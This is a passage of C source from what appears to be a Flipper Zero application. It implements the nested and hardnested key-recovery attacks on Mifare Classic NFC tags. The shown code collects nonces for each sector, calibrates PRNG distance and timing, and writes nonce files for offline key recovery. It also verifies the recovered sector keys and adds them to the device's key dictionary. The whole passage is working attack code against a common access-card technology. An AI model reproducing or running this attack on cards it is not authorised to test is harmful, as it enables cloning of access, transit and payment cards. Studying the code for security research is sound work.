  650. info->skipped = false;
  651. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  652. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  653. nonces.nonces[sector][key_type][0] = info;
  654. nonces.cuid = result.cuid;
  655. nonces.sector_count = sector_count;
  656. mifare_nested_worker->context->nonces = &nonces;
  657. mifare_nested_worker->callback(
  658. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  659. break;
  660. } else {
  661. mifare_nested_worker->callback(
  662. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  663. }
  664. }
  665. }
  666. }
  667. break;
  668. }
  669. SaveNoncesResult_t* result =
  670. mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
  671. free(mf_data);
  672. if(result->saved) {
  673. mifare_nested_worker->callback(
  674. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  675. } else {
  676. mifare_nested_worker->context->save_state = result;
  677. mifare_nested_worker->callback(
  678. MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
  679. }
  680. nfc_deactivate();
  681. }
  682. void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {
  683. NonceList_t nonces;
  684. Storage* storage = furi_record_open(RECORD_STORAGE);
  685. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  686. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  687. FuriString* folder_path = furi_string_alloc();
  688. FuriHalNfcDevData data = {};
  689. nested_get_data(&data);
  690. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  691. uint64_t key = 0; // Found key for attack
  692. uint32_t found_key_type = 0;
  693. uint32_t key_block = 0;
  694. uint32_t sector_count = 0;
  695. uint32_t cuid = 0;
  696. furi_hal_nfc_activate_nfca(200, &cuid);
  697. FURI_LOG_I(TAG, "Running Hard Nested attack");
  698. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  699. mifare_nested_worker_write_uid_string(&data, tag_info);
  700. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  701. furi_string_free(tag_info);
  702. if(type == MfClassicType4k) {
  703. sector_count = 40;
  704. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  705. } else if(type == MfClassicType1k) {
  706. sector_count = 16;
  707. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  708. } else { // if(type == MfClassicTypeMini)
  709. sector_count = 5;
  710. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  711. }
  712. furi_string_set(folder_path, NESTED_FOLDER);
  713. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  714. mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);
  715. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  716. furi_string_free(folder_path);
  717. if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
  718. !mifare_nested_worker_check_initial_keys(
  719. &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
  720. mifare_nested_worker->callback(
  721. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  722. nfc_deactivate();
  723. free(mf_data);
  724. free_nonces(&nonces, sector_count, 1);
  725. return;
  726. }
  727. FURI_LOG_I(
  728. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  729. FuriHalNfcTxRxContext tx_rx = {};
  730. nonces.tries = 1;
  731. nonces.hardnested_states = 0;
  732. nonces.sector_count = sector_count;
  733. mifare_nested_worker->context->nonces = &nonces;
  734. mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  735. mifare_nested_worker->callback(
  736. MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);
  737. for(uint8_t sector = 0; sector < sector_count &&
  738. mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
  739. sector++) {
  740. for(uint8_t key_type = 0;
  741. key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
  742. key_type++) {
  743. Nonces* info = nonces.nonces[sector][key_type][0];
  744. if(info->collected) {
  745. FURI_LOG_I(
  746. TAG,
  747. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  748. sector,
  749. mifare_nested_worker_get_block_by_sector(sector),
  750. key_type);
  751. info->skipped = true;
  752. nonces.nonces[sector][key_type][0] = info;
  753. mifare_nested_worker->context->nonces = &nonces;
  754. mifare_nested_worker->callback(
  755. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  756. continue;
  757. }
  758. if(!nested_check_block(
  759. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  760. FURI_LOG_E(
  761. TAG,
  762. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  763. sector,
  764. mifare_nested_worker_get_block_by_sector(sector),
  765. key_type);
  766. info->invalid = true;
  767. nonces.nonces[sector][key_type][0] = info;
  768. mifare_nested_worker->context->nonces = &nonces;
  769. mifare_nested_worker->callback(
  770. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  771. continue;
  772. }
  773. while(!info->collected &&
  774. mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  775. Stream* file_stream = file_stream_alloc(storage);
  776. FuriString* hardnested_file = furi_string_alloc();
  777. mifare_nested_worker_get_hardnested_file_path(
  778. &data, hardnested_file, sector, key_type);
  779. file_stream_open(
  780. file_stream,
  781. furi_string_get_cstr(hardnested_file),
  782. FSAM_READ_WRITE,
  783. FSOM_CREATE_ALWAYS);
  784. FuriString* header = furi_string_alloc_printf(
  785. "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n",
  786. NESTED_NONCE_FORMAT_VERSION,
  787. NESTED_RECOVER_KEYS_GITHUB_LINK,
  788. !key_type ? 'A' : 'B',
  789. cuid,
  790. sector);
  791. stream_write_string(file_stream, header);
  792. furi_string_free(header);
  793. uint32_t first_byte_sum = 0;
  794. uint32_t* found = malloc(sizeof(uint32_t) * 256);
  795. for(uint32_t i = 0; i < 256; i++) {
  796. found[i] = 0;
  797. }
  798. while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  799. struct nonce_info_hard result = nested_hard_nonce_attack(
  800. &tx_rx,
  801. key_block,
  802. found_key_type,
  803. mifare_nested_worker_get_block_by_sector(sector),
  804. key_type,
  805. key,
  806. found,
  807. &first_byte_sum,
  808. file_stream);
  809. if(result.static_encrypted) {
  810. file_stream_close(file_stream);
  811. storage_simply_remove(storage, furi_string_get_cstr(hardnested_file));
  812. furi_string_free(hardnested_file);
  813. free(found);
  814. free(mf_data);
  815. nfc_deactivate();
  816. mifare_nested_worker->callback(
  817. MifareNestedWorkerEventStaticEncryptedNonce,
  818. mifare_nested_worker->context);
  819. return;
  820. }
  821. if(result.full) {
  822. uint32_t states = 0;
  823. for(uint32_t i = 0; i < 256; i++) {
  824. states += found[i];
  825. }
  826. nonces.hardnested_states = states;
  827. mifare_nested_worker->callback(
  828. MifareNestedWorkerEventHardnestedStatesFound,
  829. mifare_nested_worker->context);
  830. FURI_LOG_D(TAG, "Found states: %lu", states);
  831. if(states == 256) {
  832. FURI_LOG_D(
  833. TAG, "All states collected, first_byte_sum: %lu", first_byte_sum);
  834. bool valid = false;
  835. for(uint8_t i = 0; i < sizeof(sums); i++) {
  836. if(sums[i] == first_byte_sum) {
  837. valid = true;
  838. break;
  839. }
  840. }
  841. if(!valid) {
  842. FURI_LOG_E(TAG, "Invalid first_byte_sum!");
  843. break;
  844. }
  845. info->collected = true;
  846. info->hardnested = true;
  847. info->skipped = false;
  848. nonces.cuid = result.cuid;
  849. nonces.nonces[sector][key_type][0] = info;
  850. mifare_nested_worker->context->nonces = &nonces;
  851. mifare_nested_worker->callback(
  852. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  853. break;
  854. }
  855. } else {
  856. mifare_nested_worker->callback(
  857. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  858. }
  859. }
  860. free(found);
  861. furi_string_free(hardnested_file);
  862. file_stream_close(file_stream);
  863. }
  864. }
  865. }
  866. SaveNoncesResult_t* result =
  867. mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
  868. free(mf_data);
  869. if(result->saved) {
  870. mifare_nested_worker->callback(
  871. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  872. } else {
  873. mifare_nested_worker->context->save_state = result;
  874. mifare_nested_worker->callback(
  875. MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
  876. }
  877. nfc_deactivate();
  878. }
  879. void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {
  880. NonceList_t nonces;
  881. Storage* storage = furi_record_open(RECORD_STORAGE);
  882. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  883. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  884. FuriString* folder_path = furi_string_alloc();
  885. FuriHalNfcDevData data = {};
  886. nested_get_data(&data);
  887. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  888. uint64_t key = 0; // Found key for attack
  889. uint32_t found_key_type = 0;
  890. uint32_t key_block = 0;
  891. uint32_t sector_count = 0;
  892. uint32_t delay = 0;
  893. uint32_t distance = 0;
  894. uint32_t tries_count = 1;
  895. FURI_LOG_I(TAG, "Running Nested attack");
  896. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  897. mifare_nested_worker_write_uid_string(&data, tag_info);
  898. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  899. furi_string_free(tag_info);
  900. if(type == MfClassicType4k) {
  901. sector_count = 40;
  902. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  903. } else if(type == MfClassicType1k) {
  904. sector_count = 16;
  905. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  906. } else { // if(type == MfClassicTypeMini)
  907. sector_count = 5;
  908. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  909. }
  910. furi_string_set(folder_path, NESTED_FOLDER);
  911. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  912. furi_string_free(folder_path);
  913. if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
  914. !mifare_nested_worker_check_initial_keys(
  915. &nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) {
  916. mifare_nested_worker->callback(
  917. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  918. nfc_deactivate();
  919. free(mf_data);
  920. free_nonces(&nonces, sector_count, 3);
  921. return;
  922. }
  923. FURI_LOG_I(
  924. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  925. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  926. FuriHalNfcTxRxContext tx_rx = {};
  927. uint32_t first_distance = 0;
  928. uint32_t second_distance = 0;
  929. mifare_nested_worker->callback(
  930. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  931. distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false);
  932. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  933. first_distance =
  934. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  935. }
  936. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  937. second_distance =
  938. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true);
  939. }
  940. if(first_distance == 0 && second_distance == 0) {
  941. nfc_deactivate();
  942. free(mf_data);
  943. free_nonces(&nonces, sector_count, 3);
  944. mifare_nested_worker_change_state(
  945. mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
  946. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  947. return;
  948. }
  949. if(first_distance < second_distance - 100 && second_distance > 100) {
  950. FURI_LOG_E(
  951. TAG,
  952. "Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu",
  953. first_distance,
  954. second_distance);
  955. struct distance_info info =
  956. nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);
  957. if(info.max_prng - info.min_prng > 150) {
  958. FURI_LOG_W(
  959. TAG,
  960. "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method",
  961. info.max_prng,
  962. info.min_prng,
  963. info.max_prng - info.min_prng);
  964. delay = 1;
  965. } else {
  966. FURI_LOG_I(
  967. TAG,
  968. "PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)");
  969. distance =
  970. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  971. delay = 2;
  972. tries_count = 3;
  973. }
  974. }
  975. if(distance == 0 || delay == 1) {
  976. bool failed = false;
  977. // Tag need delay or unpredictable PRNG
  978. FURI_LOG_W(TAG, "Can't determine distance, trying to find timing...");
  979. mifare_nested_worker->callback(
  980. MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);
  981. delay = mifare_nested_worker_predict_delay(
  982. &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker);
  983. if(delay == 1) {
  984. FURI_LOG_E(TAG, "Can't determine delay");
  985. // Check that we didn't lost tag
  986. FuriHalNfcDevData lost_tag_data = {};
  987. nested_get_data(&lost_tag_data);
  988. if(lost_tag_data.uid_len == 0) {
  989. // We lost it.
  990. mifare_nested_worker->callback(
  991. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  992. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting &&
  993. lost_tag_data.cuid != data.cuid) {
  994. furi_delay_ms(250);
  995. nested_get_data(&lost_tag_data);
  996. }
  997. mifare_nested_worker->callback(
  998. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  999. continue;
  1000. }
  1001. failed = true;
  1002. }
  1003. if(delay == 2) {
  1004. FURI_LOG_E(TAG, "Can't determine delay in 25 tries, fallback to hardnested");
  1005. nfc_deactivate();
  1006. free(mf_data);
  1007. free_nonces(&nonces, sector_count, 3);
  1008. mifare_nested_worker_change_state(
  1009. mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
  1010. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  1011. return;
  1012. }
  1013. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {
  1014. distance = nested_calibrate_distance(
  1015. &tx_rx, key_block, found_key_type, key, delay, false);
  1016. }
  1017. if(distance == 0 && !failed) {
  1018. FURI_LOG_E(TAG, "Found delay, but can't find distance");
  1019. failed = true;
  1020. }
  1021. if(failed) {
  1022. nfc_deactivate();
  1023. mifare_nested_worker->callback(
  1024. MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context);
  1025. free(mf_data);
  1026. free_nonces(&nonces, sector_count, 3);
  1027. return;
  1028. }
  1029. tries_count = 3;
  1030. }
  1031. mifare_nested_worker->context->nonces = &nonces;
  1032. mifare_nested_worker->callback(
  1033. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1034. for(uint8_t tries = 0; tries < tries_count; tries++) {
  1035. for(uint8_t sector = 0; sector < sector_count; sector++) {
  1036. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  1037. Nonces* info = nonces.nonces[sector][key_type][tries];
  1038. if(info->collected) {
  1039. FURI_LOG_I(
  1040. TAG,
  1041. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  1042. sector,
  1043. mifare_nested_worker_get_block_by_sector(sector),
  1044. key_type);
  1045. info->skipped = true;
  1046. nonces.nonces[sector][key_type][tries] = info;
  1047. mifare_nested_worker->context->nonces = &nonces;
  1048. mifare_nested_worker->callback(
  1049. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1050. continue;
  1051. }
  1052. if(!nested_check_block(
  1053. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  1054. FURI_LOG_E(
  1055. TAG,
  1056. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  1057. sector,
  1058. mifare_nested_worker_get_block_by_sector(sector),
  1059. key_type);
  1060. info->skipped = true;
  1061. nonces.nonces[sector][key_type][0] = info;
  1062. mifare_nested_worker->context->nonces = &nonces;
  1063. mifare_nested_worker->callback(
  1064. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1065. continue;
  1066. }
  1067. while(!info->collected) {
  1068. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  1069. break;
  1070. }
  1071. struct nonce_info result = nested_attack(
  1072. &tx_rx,
  1073. key_block,
  1074. found_key_type,
  1075. mifare_nested_worker_get_block_by_sector(sector),
  1076. key_type,
  1077. key,
  1078. distance,
  1079. delay);
  1080. if(result.full) {
  1081. FURI_LOG_I(
  1082. TAG,
  1083. "Accured nonces for sector %u, block %u, key_type: %u",
  1084. sector,
  1085. mifare_nested_worker_get_block_by_sector(sector),
  1086. key_type);
  1087. info = nonces.nonces[sector][key_type][tries];
  1088. info->collected = true;
  1089. info->skipped = false;
  1090. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  1091. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  1092. memcpy(&info->parity, result.parity, sizeof(result.parity));
  1093. nonces.nonces[sector][key_type][tries] = info;
  1094. nonces.cuid = result.cuid;
  1095. nonces.sector_count = sector_count;
  1096. nonces.tries = tries_count;
  1097. mifare_nested_worker->context->nonces = &nonces;
  1098. mifare_nested_worker->callback(
  1099. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1100. break;
  1101. } else {
  1102. mifare_nested_worker->callback(
  1103. MifareNestedWorkerEventNoTagDetected,
  1104. mifare_nested_worker->context);
  1105. }
  1106. }
  1107. }
  1108. }
  1109. }
  1110. break;
  1111. }
  1112. SaveNoncesResult_t* result = mifare_nested_worker_write_nonces(
  1113. &data, storage, &nonces, tries_count, 3, sector_count, delay, distance);
  1114. free(mf_data);
  1115. if(result->saved) {
  1116. mifare_nested_worker->callback(
  1117. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  1118. } else {
  1119. mifare_nested_worker->context->save_state = result;
  1120. mifare_nested_worker->callback(
  1121. MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
  1122. }
  1123. nfc_deactivate();
  1124. }
  1125. bool* mifare_nested_worker_check_keys_exists(
  1126. Storage* storage,
  1127. char* path,
  1128. uint64_t* keys,
  1129. uint32_t key_count,
  1130. MifareNestedWorker* mifare_nested_worker) {
  1131. bool* old_keys = malloc(sizeof(bool) * key_count);
  1132. Stream* file_stream = file_stream_alloc(storage);
  1133. file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS);
  1134. FuriString* key_strings[key_count];
  1135. for(uint32_t i = 0; i < key_count; i++) {
  1136. old_keys[i] = false;
  1137. key_strings[i] = furi_string_alloc_printf("%012llX\n", keys[i]);
  1138. }
  1139. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1140. FuriString* next_line = furi_string_alloc();
  1141. if(!stream_read_line(file_stream, next_line)) {
  1142. break;
  1143. }
  1144. for(uint32_t i = 0; i < key_count; i++) {
  1145. if(keys[i] == (uint64_t)-1) continue;
  1146. if(furi_string_cmp(next_line, key_strings[i]) == 0) {
  1147. old_keys[i] = true;
  1148. }
  1149. }
  1150. furi_string_free(next_line);
  1151. }
  1152. for(uint32_t i = 0; i < key_count; i++) {
  1153. furi_string_free(key_strings[i]);
  1154. }
  1155. file_stream_close(file_stream);
  1156. free(file_stream);
  1157. return old_keys;
  1158. }
  1159. void mifare_nested_worker_write_key(Storage* storage, FuriString* key) {
  1160. Stream* file_stream = file_stream_alloc(storage);
  1161. file_stream_open(
  1162. file_stream,
  1163. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1164. FSAM_READ_WRITE,
  1165. FSOM_OPEN_APPEND);
  1166. stream_write_string(file_stream, key);
  1167. file_stream_close(file_stream);
  1168. }
  1169. void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) {
  1170. KeyInfo_t* key_info = mifare_nested_worker->context->keys;
  1171. Storage* storage = furi_record_open(RECORD_STORAGE);
  1172. Stream* file_stream = file_stream_alloc(storage);
  1173. FuriString* next_line = furi_string_alloc();
  1174. FuriString* path = furi_string_alloc();
  1175. FuriHalNfcDevData data = {};
  1176. nested_get_data(&data);
  1177. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  1178. NestedCheckKeyResult result = NestedCheckKeyNoTag;
  1179. FuriHalNfcTxRxContext tx_rx = {};
  1180. uint32_t key_count = 0;
  1181. uint32_t sector_key_count = 0;
  1182. uint64_t keys[80];
  1183. bool found_keys[2][40];
  1184. bool unique_keys[2][40];
  1185. uint32_t sector_count = 0;
  1186. if(type == MfClassicType4k) {
  1187. sector_count = 40;
  1188. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  1189. } else if(type == MfClassicType1k) {
  1190. sector_count = 16;
  1191. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  1192. } else { // if(type == MfClassicTypeMini)
  1193. sector_count = 5;
  1194. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  1195. }
  1196. uint32_t keys_count = sector_count * 2;
  1197. for(uint8_t key = 0; key < 2; key++) {
  1198. for(uint8_t i = 0; i < sector_count; i++) {
  1199. found_keys[key][i] = false;
  1200. unique_keys[key][i] = false;
  1201. }
  1202. }
  1203. for(uint8_t i = 0; i < keys_count; i++) {
  1204. keys[i] = -1;
  1205. }
  1206. mifare_nested_worker_get_found_keys_file_path(&data, path);
  1207. if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1208. FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path));
  1209. file_stream_close(file_stream);
  1210. mifare_nested_worker_get_nonces_file_path(&data, path);
  1211. if(!file_stream_open(
  1212. file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1213. mifare_nested_worker->callback(
  1214. MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context);
  1215. } else {
  1216. mifare_nested_worker->callback(
  1217. MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context);
  1218. }
  1219. file_stream_close(file_stream);
  1220. free(file_stream);
  1221. furi_string_free(path);
  1222. furi_string_free(next_line);
  1223. furi_record_close(RECORD_STORAGE);
  1224. return;
  1225. };
  1226. while(true) {
  1227. if(!stream_read_line(file_stream, next_line)) {
  1228. break;
  1229. }
  1230. if(furi_string_start_with_str(next_line, "Key")) {
  1231. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1232. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1233. atoi((char[]){furi_string_get_char(next_line, 14)});
  1234. if(!unique_keys[key_type][sector]) {
  1235. unique_keys[key_type][sector] = true;
  1236. sector_key_count++;
  1237. }
  1238. }
  1239. key_count++;
  1240. }
  1241. stream_rewind(file_stream);
  1242. key_info->total_keys = key_count;
  1243. key_info->sector_keys = sector_key_count;
  1244. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1245. if(!stream_read_line(file_stream, next_line)) {
  1246. break;
  1247. }
  1248. if(furi_string_start_with_str(next_line, "Key")) {
  1249. // Key X sector XX: XX XX XX XX XX XX
  1250. // 0000000000111111111122222222223333
  1251. // 0123456789012345678901234567890123
  1252. uint8_t keyChar[6];
  1253. uint8_t count = 0;
  1254. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1255. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1256. atoi((char[]){furi_string_get_char(next_line, 14)});
  1257. for(uint8_t i = 17; i < 33; i += 3) {
  1258. hex_char_to_uint8(
  1259. furi_string_get_char(next_line, i),
  1260. furi_string_get_char(next_line, i + 1),
  1261. &keyChar[count]);
  1262. count++;
  1263. }
  1264. uint64_t key = nfc_util_bytes2num(keyChar, 6);
  1265. key_info->checked_keys++;
  1266. if(found_keys[key_type][sector]) {
  1267. mifare_nested_worker->callback(
  1268. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1269. continue;
  1270. }
  1271. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1272. result = nested_check_key(
  1273. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key);
  1274. if(result == NestedCheckKeyNoTag) {
  1275. mifare_nested_worker->callback(
  1276. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  1277. furi_delay_ms(250);
  1278. } else {
  1279. break;
  1280. }
  1281. }
  1282. if(result == NestedCheckKeyValid) {
  1283. FURI_LOG_I(
  1284. TAG, "Found valid %c key for sector %u: %012llX", key_type, sector, key);
  1285. bool exists = false;
  1286. for(uint8_t i = 0; i < keys_count; i++) {
  1287. if(keys[i] == key) {
  1288. exists = true;
  1289. }
  1290. }
  1291. if(!exists) {
  1292. keys[key_info->found_keys] = key;
  1293. }
  1294. key_info->found_keys++;
  1295. found_keys[key_type][sector] = true;
  1296. }
  1297. mifare_nested_worker->callback(
  1298. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1299. }
  1300. }
  1301. furi_string_free(next_line);
  1302. file_stream_close(file_stream);
  1303. free(file_stream);
  1304. mifare_nested_worker->callback(
  1305. MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context);
  1306. bool* old_keys = mifare_nested_worker_check_keys_exists(
  1307. storage,
  1308. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1309. keys,
  1310. keys_count,
  1311. mifare_nested_worker);
  1312. for(uint8_t i = 0; i < keys_count; i++) {
  1313. if(old_keys[i]) {
  1314. keys[i] = -1;
  1315. }
  1316. }
  1317. old_keys = mifare_nested_worker_check_keys_exists(
  1318. storage,
  1319. EXT_PATH("nfc/assets/mf_classic_dict.nfc"),
  1320. keys,
  1321. keys_count,
  1322. mifare_nested_worker);
  1323. for(uint8_t i = 0; i < keys_count; i++) {
  1324. if(old_keys[i]) {
  1325. keys[i] = -1;
  1326. }
  1327. }
  1328. for(uint8_t i = 0; i < keys_count; i++) {
  1329. if(keys[i] == (uint64_t)-1) continue;
  1330. FuriString* key_string = furi_string_alloc_printf("%012llX\n", keys[i]);
  1331. mifare_nested_worker_write_key(storage, key_string);
  1332. FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string));
  1333. key_info->added_keys++;
  1334. furi_string_free(key_string);
  1335. }
  1336. if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
  1337. FURI_LOG_E(TAG, "Failed to remove .keys file");
  1338. }
  1339. furi_record_close(RECORD_STORAGE);
  1340. furi_string_free(path);
  1341. mifare_nested_worker->callback(
  1342. MifareNestedWorkerEventKeysFound, mifare_nested_worker->context);
  1343. return;
  1344. }